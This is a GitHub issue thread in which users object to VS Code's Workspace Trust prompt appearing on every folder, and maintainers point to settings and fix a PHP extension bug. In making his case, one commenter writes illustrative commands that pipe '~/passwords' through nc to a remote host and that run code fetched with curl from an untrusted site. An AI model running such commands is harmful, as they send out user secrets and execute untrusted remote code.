"Do you trust the authors of the files in this folder is shown" unnecessarily

[fulldecent]

Issue Type: Bug

TEST CASE
Open anything

EXPECTED
Peace

ACTUAL
Discomfort

VS Code version: Code 1.57.0 (Universal) (b4c1bd0, 2021-06-09T17:22:31.215Z)
OS version: Darwin arm64 20.5.0
Restricted Mode: No

System Info

Item	Value
CPUs	Apple M1 (8 x 24)
GPU Status	2d_canvas: enabled gpu_compositing: enabled metal: disabled_off multiple_raster_threads: enabled_on oop_rasterization: enabled opengl: enabled_on rasterization: enabled skia_renderer: disabled_off_ok video_decode: enabled webgl: enabled webgl2: enabled
Load (avg)	2, 2, 2
Memory (System)	8.00GB (0.15GB free)
Process Argv	. --crash-reporter-id be88160b-f837-4db8-985c-0f559fce13bc
Screen Reader	no
VM	0%

Extensions (24)

Extension	Author (truncated)	Version
spellright	ban	3.0.58
unique-lines	bib	1.0.0
vscode-intelephense-client	bme	1.7.1
npm-intellisense	chr	1.3.1
vscode-pull-request-github	Git	0.27.0
latex-workshop	Jam	8.19.2
solidity	Jua	0.0.120
csharp	ms-	1.23.12
python	ms-	2021.5.926500501
vscode-pylance	ms-	2021.6.1
jupyter	ms-	2021.6.999230701
remote-ssh	ms-	0.65.7
remote-ssh-edit	ms-	0.65.7
sublime-keybindings	ms-	4.0.9
vscode-print	pdc	0.9.4
java	red	0.79.2
unique-window-colors	stu	1.0.51
vscodeintellicode	Vis	1.2.14
vscode-java-debug	vsc	0.34.0
vscode-java-dependency	vsc	0.18.4
vscode-java-pack	vsc	0.16.0
vscode-java-test	vsc	0.30.0
vscode-maven	vsc	0.31.0
vscode-import-cost	wix	2.15.0

[fulldecent]

This huge warning and cognitive break is shown regardless of whether it is necessary or not.

Instead the huge modal warning should only be shown when there is an actual decision that needs to be made.

[fulldecent]

Today I opened a CSV file in a new window and got blasted by this huge warning. I can't imagine any scenario where a CSV file, regardless of whether I trust it or not should be "executing files in this folder".

[fulldecent]

I know that people coming from Microsoft Word / Excel might be used to huge modal "do you trust" / "content disabled" warnings. But these always just illustrate a failure in the Word / Excel program security model.

[lszomoru]

@fulldecent, we have a settings that you can use to control the workspace trust feature:

• security.workspace.trust.startupPrompt - Whether to show the Workspace Trust dialog on startup. Default is to only show once per distinct folder or workspace. You can set this value to never in order for the dialog not to be shown on startup.
• security.workspace.trust.untrustedFiles - Controls how to handle loose files in a workspace. Default is to prompt. You can set this value to open so that untrusted file are always opened in the same window.

[fulldecent]

To spell it out, here are my expectations for VS Code and this issue highlights apparent violation of these expectations.

(If VS Code violates these expectations in another way, that is out of scope for this issue.)

1. VS Code is written by quality people that have my interests at heart
2. I trust that VS Code will not cat ~/passwords | nc microsoft.com:666
3. I trust that extensions I installed will not cat ~/passwords | nc example.com:666
4. I can open random repos on my computer with evil files inside and have nice things (color coding, static analysis) with zero risk of cat ~/passwords | nc example.com:666
5. Running make from the current repository includes a risk of cat ~/passwords | nc example.com:666
6. VS Code should show me a big warning before (and only before) running make(ish) on the repository
7. VS Code should not be running make without my explicit request or broad opt-in (e.g. "would you like to run make test on this repo every five minutes?")

Therefore, when I see a broad opt-in like the above immediately upon opening a project folder, it shows a violation of these expectations. These violations lead me to believe:

1. VS Code is planning to run some make command on my project folder
   1. VIOLATION: I do not know which command is being run that requires trust
   2. VIOLATION: I did not request any unsafe commands to be run
2. VS Code does not know the difference between safe and unsafe commands
   1. VIOLATION: VS Code should know which commands require trust in the project files to run
   2. VIOLATION: VS Code should be a quality project, not some "let's run bash $(curl untrusted.example.com) because it's easier than writing a script to copy files" a la (to-be-updated?) NPM and PHP Composer, or "all important software should be run as sudo, what is minimization?" a la Docker

Other people may not care as much as me to spell out these concerns but they as well do deserve to be looked after. We should make software that empowers everybody. This is why changing my settings and leaving the default as dangerous/confusing for everybody else not good.

[Shfty]

Workspace Trust should be an opt-in feature. That, or smart enough that I don't have to confirm to it that I do in fact trust myself - the sole author of any given workspace on this machine.

Defaulting to popping such a general warning for every distinct workspace - regardless of its actual ability to cause undesired behavior through poorly-defined features that may automatically execute files in this folder - adds an additional, unnecessary, cognitive obstacle of "is there a red button in here?" regardless of that workspace's content.
That thought process should be a contextual element of due diligence for any developer worth their salt, not blanket forced via their IDE.

In fact, I'd argue that VS Code is painting itself as the proverbial red button by adding this behavior. Prior to this update, I was reasonably confident that my IDE and workspaces would only do what they were setup to do; this simplicity is why I use VS Code in the first place, rather than huge IDEs like regular VS.
Now big apropos-of-nothing warnings are showing up left and right mentioning vague 'automatic features', that confidence is being eroded.

To extend the point made by @fulldecent, Windows UAC is the obvious parallel to this new feature, existing for the sake of warning potentially-uneducated users about the scope of permissions available to the programs they're running.
For power users, this is irritating and easily-disabled, but can at least be configured to only appear when potentially dangerous admin access is requested.
It doesn't ask you to give it a one-time carte blanche sign-off once per new user, as appears to be the analogue here.

[fulldecent]

Also, I learned that if you do not click TRUST, the glowing, requested blue button then you will get the popup every time you open the folder.

It's just like YouTube: DO YOU WANT TO BUY NOW??? 😄 YES -or- 😢 ask tomorrow

[lszomoru]

Also, I learned that if you do not click TRUST, the glowing, requested blue button then you will get the popup every time you open the folder.

@fulldecent, could you please provide repro steps for this, as this should not be the case. Thank you!

[fulldecent]

I don't have full repro minification. But here is at least a visual on what I'm seeing.

https://youtu.be/7MXajxC3MLY

[lszomoru]

@fulldecent, thank you very much for the recording. Based on your recording I have been able to reproduce the problem and I have filed a separate issue to track it - #127223. The issue here is that it looks like the built-in PHP extension does support "restricted mode" but it excessively requests for workspace trust.

[lszomoru]

@fulldecent, issue #127223 has been fixed in the latest Insiders release and will be included in the next Stable release.

[Shfty]

To follow up here, I've devised a workaround to OP's issue that - so far - appears to work perfectly.

1. Set security.workspace.trust.startupPrompt to never
2. Set security.workspace.trust.untrustedFiles to never
3. Allocate two weeks of time
4. Install a platform-appropriate distribution of vim
5. Week 1: Read the vimtutor and manual, acclimatize to the basics, assemble equivalent IDE functionality via plugins and .vimrc
6. Week 2: Acclimatize to the IDE functionality assembled in Week 1
7. Uninstall VSCode

Provided that you follow these steps to the letter, you should be left with a functional IDE that:

• Responds with a simple, peaceful opened file when issued an :edit myfile.txt command
• Respects your intelligence; any footgun or malware in your config is of your own making
• Is several orders of magnitude more efficient
• Isn't gradually sliding from sweet simplicity into a DevOps platform designed for users with no IT experience
• Doesn't ship half-baked features, enable them by default, then spend a year git politicking before a real fix is made
• Is still able to mooch off of Microsoft's rather excellent Language Server Protocol and Debug Adapter Protocol via lldb-vscode

Overall, it does exactly what I need, and I'm left asking myself why I didn't apply such a workaround years ago.

Hopefully this can be of help to others in a similar situation 👍

[sbatten]

Thanks for all the feedback. We take all of the feedback into consideration as we try to improve this feature. You can see more information about our development process in this recent blog post https://code.visualstudio.com/blogs/2021/07/06/workspace-trust.